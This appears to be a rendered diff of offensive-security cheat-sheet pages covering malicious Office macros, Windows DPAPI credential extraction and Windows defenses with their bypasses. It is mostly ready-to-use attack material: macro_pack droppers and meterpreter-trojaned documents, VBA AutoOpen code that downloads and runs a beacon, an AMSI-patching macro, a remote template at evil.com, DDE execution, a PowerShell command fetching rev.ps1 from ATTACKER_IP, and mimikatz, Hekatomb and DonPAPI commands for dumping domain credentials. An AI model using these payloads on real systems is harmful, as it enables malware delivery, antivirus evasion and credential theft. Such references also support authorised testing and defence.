macro_pack.exe -f empire.vba -o -G myDoc.docm
# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
# Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx
# Download and execute file via powershell using Dynamic Data Exchange (DDE) attack
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl
# PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV).
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
# PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm
# PRO: Generate an HTA payload able to run a shellcode via Excel injection
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk
# PRO: XLM Injection
echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel
# PRO: ShellCode Exec - Heap Injection, AlternativeInjection
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc
# PRO: More shellcodes
echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm keep-alive
echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o autopack -G sc_auto.doc
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls
```
### DOCM - BadAssMacros
> C# based automated Malicous Macro Generator.
* https://github.com/Inf0secRabbit/BadAssMacros
```powershell
BadAssMacros.exe -h
# Create VBA for classic shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>
BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt
# Create VBA for indirect shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file>
# List modules inside Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l
# Purge Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name>
```
### DOCM - CACTUSTORCH VBA Module
> CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript
* https://github.com/mdsecactivebreach/CACTUSTORCH
* https://github.com/tyranid/DotNetToJScript/
* CACTUSTORCH - DotNetToJScript all the things - https://youtu.be/YiaKb8nHFSY
* CACTUSTORCH - CobaltStrike Aggressor Script Addon - https://www.youtube.com/watch?v=_pwH6a-6yAQ
1. Import **.cna** in Cobalt Strike
2. Generate a new VBA payload from the CACTUSTORCH menu
3. Download DotNetToJscript
4. Compile it
* **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
* **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type
```ps1
DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch
```
6. Use the generated code to replace the hardcoded binary in CactusTorch
### DOCM - MMG with Custom DL + Exec
1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe"
2. Create a custom binary execute using MMG
3. Merge both Macro
```ps1
git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
python MMG.py configs/generic-cmd.json malicious.vba
{
"description": "Generic command exec payload\nEvasion technique set to none",
"template": "templates/payloads/generic-cmd-template.vba",
"varcount": 152,
"encodingoffset": 5,
"chunksize": 180,
"encodedvars": {},
"vars": [],
"evasion": ["encoder"],
"payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe"
}
```
```vb
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean
On Error GoTo Failed
DownloadFileA = False
'As directory must exist, this is a check
If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function
Dim returnValue As Long
returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0)
'If return value is 0 and the file exist, then it is considered as downloaded correctly
DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0)
Exit Function
Failed:
End Function
Sub AutoOpen()
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub
Sub Auto_Open()
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub
```
### DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro
Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control`
```vb
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus)
End Sub
```
### VBA Obfuscation
```ps1
# https://www.youtube.com/watch?v=L0DlPOLx2k0
$ git clone https://github.com/bonnetn/vba-obfuscator
$ cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin
```
### VBA Purging
**VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.
:warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.
#### OfficePurge
* https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe
```powershell
OfficePurge.exe -d word -f .\malicious.doc -m NewMacros
OfficePurge.exe -d excel -f .\payroll.xls -m Module1
OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument
OfficePurge.exe -d word -f .\malicious.doc -l
```
#### EvilClippy
> Evil Clippy uses the OpenMCDF library to manipulate CFBF files.
> Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows.
> If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this.
```ps1
# OSX/Linux
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
# Windows
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc
# make macro code unaccessible is to mark the project as locked and unviewable: -u
# Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag.
EvilClippy.exe -r macrofile.doc
```
### VBA - Offensive Security Template
* Reverse Shell VBA - https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba
* Process Dumper - https://github.com/JohnWoodman/VBA-Macro-Dump-Process
* RunPE - https://github.com/itm4n/VBA-RunPE
* Spoof Parent - https://github.com/py7hagoras/OfficeMacro64
* AMSI Bypass - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba
* amsiByPassWithRTLMoveMemory - https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3
* VBA macro spawning a process with a spoofed parent - https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba
### VBA - AMSI
> The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
![](https://www.microsoft.com/security/blog/wp-content/uploads/2018/09/fig2-runtime-scanning-amsi-8-1024x482.png)
:warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).
The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro
* AMSI Trigger - https://github.com/synacktiv/AMSI-Bypass
```vb
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Sub Document_Open()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
Dim result As Long
Dim MyByteArray(6) As Byte
Dim ArrayPointer As LongPtr
MyByteArray(0) = 184 ' 0xB8
MyByteArray(1) = 87 ' 0x57
MyByteArray(2) = 0 ' 0x00
MyByteArray(3) = 7 ' 0x07
MyByteArray(4) = 128 ' 0x80
MyByteArray(5) = 195 ' 0xC3
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
End Sub
```
### DOCX - Template Injection
:warning: Does not require "Enable Macro"
#### Remote Template
1. A malicious macro is saved in a Word template .dotm file
2. Benign .docx file is created based on one of the default MS Word Document templates
3. Document from step 2 is saved as .docx
4. Document from step 3 is renamed to .zip
5. Document from step 4 gets unzipped
6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
```
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships>
```
7. File gets zipped back up again and renamed to .docx
#### Template Injections Tools
* https://github.com/JohnWoodman/remoteInjector
* https://github.com/ryhanson/phishery
```ps1
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!
```
### DOCX - DDE
* Insert > QuickPart > Field
* Right Click > Toggle Field Code
* `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }`
## References
* [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/)
* [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/)
* [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/)
* [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/)
* [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/)
* [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/)
* [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/)
* [VBad - Pepitoh](https://github.com/Pepitoh/VBad)
* [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
* [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/)
* [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/)
* [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/)
* [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9)
* [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/)
* [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros)
* [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk)
* [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships)
* [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/)
* [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/)
* [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass)
* [Dechaining macros and evading EDR - Noora Hyvärinen](https://blog.f-secure.com/dechaining-macros-and-evading-edr/)
* [Executing macros from docx with remote - RedXORBlueJuly 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html)
* [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/)
* [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948)
* [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23)
* [So you think you can block Macros? - Pieter Ceelen - April 25, 2023](https://outflank.nl/blog/2023/04/25/so-you-think-you-can-block-macros/)

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,100 @@
# Windows - DPAPI
> On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft's Data Protection API and stored as "blob" files in user AppData folder.
## Summary
* [Data Protection API](#data-protection-api)
* [List Credential Files](#list-credential-files)
* [DPAPI LocalMachine Context](#dpapi-localmachine-context)
* [Mimikatz - Credential Manager & DPAPI](#mimikatz---credential-manager--dpapi)
* [Hekatomb - Steal all credentials on domain](#hekatomb---steal-all-credentials-on-domain)
* [DonPAPI - Dumping DPAPI credz remotely](#donpapi---dumping-dpapi-credz-remotely)
## Data Protection API
* Outside of a domain: the user's `password hash` is used to encrypt these "blobs".
* Inside a domain: the `domain controller's master key` is used to encrypt these blobs.
With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the work
stations in the domain.
```ps1
vaultcmd /list
VaultCmd /listcreds:<namevault>|<guidvault> /all
vaultcmd /listcreds:"Windows Credentials" /all
```
### List Credential Files
```ps1
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
### DPAPI LocalMachine Context
The `LocalMachine` context is used to protect data that is intended to be shared across different users or services on a single machine. This means that any user or service running on the machine can access the protected data with the appropriate credentials.
In contrast, the `CurrentUser` context is used to protect data that is intended to be accessed only by the user who encrypted it, and cannot be accessed by other users or services on the same machine.
```ps1
$a = [System.Convert]::FromBase64String("AQAAANCMnd[...]")
$b = [System.Security.Cryptography.ProtectedData]::Unprotect($a, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
[System.Text.Encoding]::ASCII.GetString($b)
```
### Mimikatz - Credential Manager & DPAPI
```powershell
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
# check the file with mimikatz
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# find master key
mimikatz !sekurlsa::dpapi
# use master key
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
# find and export backup keys
lsadump::backupkeys /system:dc01.lab.local /export
# use backup keys
dpapi::masterkey /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
```
### Hekatomb - Steal all credentials on domain
> [Processus-Thief/Hekatomb](https://github.com/Processus-Thief/HEKATOMB) is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers. Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials.
```python
pip3 install hekatomb
hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
```
![Data in memory](https://github.com/Processus-Thief/HEKATOMB/raw/main/.assets/github1.png)
### DonPAPI - Dumping DPAPI credz remotely
* [login-securite/DonPAPI](https://github.com/login-securite/DonPAPI)
```ps1
DonPAPI.py domain/user:passw0rd@target
DonPAPI.py --hashes <LM>:<NT> domain/user@target
# using domain backup key
dpapi.py backupkeys --export -t domain/user:passw0rd@target_dc_ip
python DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list
```
## References
* [DPAPI - Extracting Passwords - HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords)
* [DON PAPI, OU LART DALLER PLUS LOIN QUE LE DOMAIN ADMIN - LoginSecurité - CORTO GUEGUEN - 4 MARS 2022](https://www.login-securite.com/2022/03/04/don-papi-ou-lart-daller-plus-loin-que-le-avec-dpapi/)

View File

@ -0,0 +1,421 @@
# Windows - Defenses
## Summary
* [AppLocker](#applocker)
* [User Account Control](#user-account-control)
* [DPAPI](#dpapi)
* [Powershell](#powershell)
* [Anti Malware Scan Interface](#anti-malware-scan-interface)
* [Just Enough Administration](#just-enough-administration)
* [Contrained Language Mode](#constrained-language-mode)
* [Script Block Logging](#script-block-logging)
* [Protected Process Light](#protected-process-light)
* [Credential Guard](#credential-guard)
* [Event Tracing for Windows](#event-tracing-for-windows)
* [Windows Defender Antivirus](#windows-defender-antivirus)
* [Windows Defender Application Control](#windows-defender-application-control)
* [Windows Defender Firewall](#windows-defender-firewall)
* [Windows Information Protection](#windows-information-protection)
## AppLocker
> AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups.
* Enumerate Local AppLocker Effective Policy
```powershell
PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
PowerView PS C:\> Get-AppLockerPolicy -effective -xml
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys: Appx, Dll, Exe, Msi and Script
```
* AppLocker Bypass
* By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users
* [api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)
* [api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md)
* [api0cradle/UltimateAppLockerByPassList/DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md)
## User Account Control
UAC stands for User Account Control. It is a security feature introduced by Microsoft in Windows Vista and is present in all subsequent versions of the Windows operating system. UAC helps mitigate the impact of malware and helps protect users by asking for permission or an administrator's password before allowing changes to be made to the system that could potentially affect all users of the computer.
* Check if UAC is enabled
```ps1
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
```
* Check UAC level
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken
```
| EnableLUA | LocalAccountTokenFilterPolicy | FilterAdministratorToken | Description |
|---|---|---|---|
| 0 | / | / | No UAC |
| 1 | 1 | / | No UAC |
| 1 | 0 | 0 | No UAC for RID 500 |
| 1 | 0 | 1 | UAC for Everyone |
* UAC Bypass
* [AutoElevated binary signed by Microsoft](https://www.elastic.co/guide/en/security/current/bypass-uac-via-sdclt.html) - `msconfig`, `sdclt.exe`, `eventvwr.exe`, etc
* [hfiref0x/UACME](https://github.com/hfiref0x/UACME) - Defeating Windows User Account Control
## DPAPI
Refer to [PayloadsAllTheThings/Windows - DPAPI.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20DPAPI.md)
## Powershell
### Anti Malware Scan Interface
> The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content.
Find more AMSI bypass: [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md)
```powershell
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
```
### Just Enough Administration
> Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information.
Breaking out if JEA:
* List available cmdlets: `command`
* Look for non-default cmdlets:
```ps1
Set-PSSessionConfiguration
Start-Process
New-Service
Add-Computer
```
### Constrained Language Mode
Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode`
* Bypass using an old Powershell. Powershell v2 doesn't support CLM.
```ps1
powershell.exe -version 2
powershell.exe -version 2 -ExecutionPolicy bypass
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"
```
* Bypass when `__PSLockDownPolicy` is used. Just put "System32" somewhere in the path.
```ps1
# Enable CLM from the environment
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
Get-ChildItem -Path Env:
# Create a check-mode.ps1 containing your "evil" powershell commands
$mode = $ExecutionContext.SessionState.LanguageMode
write-host $mode
# Simple bypass, execute inside a System32 folder
PS C:\> C:\Users\Public\check-mode.ps1
ConstrainedLanguage
PS C:\> C:\Users\Public\System32\check-mode.ps1
FullLanguagge
```
* Bypass using COM: [xpn/COM_to_registry.ps1](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1)
* Bypass using your own Powershell DLL: [p3nt4/PowerShdll](https://github.com/p3nt4/PowerShdll) & [iomoath/PowerShx](https://github.com/iomoath/PowerShx)
```ps1
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
```
### Script Block Logging
> Once Script Block Logging is enabled, the script blocks and commands that are executed will be recorded in the Windows event log under the "Windows PowerShell" channel. To view the logs, administrators can use the Event Viewer application and navigate to the "Windows PowerShell" channel.
Enable Script Block Loggin:
```ps1
function Enable-PSScriptBlockLogging
{
$basePath = 'HKLM:\Software\Policies\Microsoft\Windows' +
'\PowerShell\ScriptBlockLogging'
if(-not (Test-Path $basePath))
{
$null = New-Item $basePath -Force
}
Set-ItemProperty $basePath -Name EnableScriptBlockLogging -Value "1"
}
```
## Protected Process Light
Protected Process Light (PPL) is implemented as a Windows security mechanism that enables processes to be marked as "protected" and run in a secure, isolated environment, where they are shielded from attacks by malware or other unauthorized processes. PPL is used to protect processes that are critical to the operation of the operating system, such as anti-virus software, firewalls, and other security-related processes.
When a process is marked as "protected" using PPL, it is assigned a security level that determines the level of protection it will receive. This security level can be set to one of several levels, ranging from low to high. Processes that are assigned a higher security level are given more protection than those that are assigned a lower security level.
A process's protection is defined by a combination of the "level" and the "signer". The following table represent commonly used combinations, from [itm4n.github.io](https://itm4n.github.io/lsass-runasppl/).
| Protection level | Value | Signer | Type |
|---------------------------------|------|------------------|---------------------|
| PS_PROTECTED_SYSTEM | 0x72 | WinSystem (7) | Protected (2) |
| PS_PROTECTED_WINTCB | 0x62 | WinTcb (6) | Protected (2) |
| PS_PROTECTED_WINDOWS | 0x52 | Windows (5) | Protected (2) |
| PS_PROTECTED_AUTHENTICODE | 0x12 | Authenticode (1) | Protected (2) |
| PS_PROTECTED_WINTCB_LIGHT | 0x61 | WinTcb (6) | Protected Light (1) |
| PS_PROTECTED_WINDOWS_LIGHT | 0x51 | Windows (5) | Protected Light (1) |
| PS_PROTECTED_LSA_LIGHT | 0x41 | Lsa (4) | Protected Light (1) |
| PS_PROTECTED_ANTIMALWARE_LIGHT | 0x31 | Antimalware (3) | Protected Light (1) |
| PS_PROTECTED_AUTHENTICODE_LIGHT | 0x11 | Authenticode (1) | Protected Light (1) |
PPL works by restricting access to the protected process's memory and system resources, and by preventing the process from being modified or terminated by other processes or users. The process is also isolated from other processes running on the system, which helps prevent attacks that attempt to exploit shared resources or dependencies.
* Check if LSASS is running in PPL
```ps1
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
```
* Protected process example: you can't kill Microsoft Defender even with Administrator privilege.
```ps1
taskkill /f /im MsMpEng.exe
ERROR: The process "MsMpEng.exe" with PID 5784 could not be terminated.
Reason: Access is denied.
```
* Can be disabled using vulnerable drivers (Bring Your Own Vulnerable Driver / BYOVD)
## Credential Guard
When Credential Guard is enabled, it uses hardware-based virtualization to create a secure environment that is separate from the operating system. This secure environment is used to store sensitive credential information, which is encrypted and protected from unauthorized access.
Credential Guard uses a combination of hardware-based virtualization and the Trusted Platform Module (TPM) to ensure that the secure kernel is trusted and secure. It can be enabled on devices that have a compatible processor and TPM version, and require a UEFI firmware that supports the necessary features.
## Event Tracing for Windows
ETW (Event Tracing for Windows) is a Windows-based logging mechanism that provides a way to collect and analyze system events and performance data in real-time. ETW allows developers and system administrators to gather detailed information about system performance and behavior, which can be used for troubleshooting, optimization, and security purposes.
| Name | GUID |
|---------------------------------------|----------------------------------------|
| Microsoft-Antimalware-Scan-Interface | {2A576B87-09A7-520E-C21A-4942F0271D67} |
| Microsoft-Windows-PowerShell | {A0C1853B-5C40-4B15-8766-3CF1C58F985A} |
| Microsoft-Antimalware-Protection | {E4B70372-261F-4C54-8FA6-A5A7914D73DA} |
| Microsoft-Windows-Threat-Intelligence | {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} |
You can see all the providers registered to Windows using: `logman query providers`
```ps1
PS C:\Users\User\Documents> logman query providers
Provider GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
ACPI Driver Trace Provider {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
Active Directory Domain Services: SAM {8E598056-8993-11D2-819E-0000F875A064}
Active Directory: Kerberos Client {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
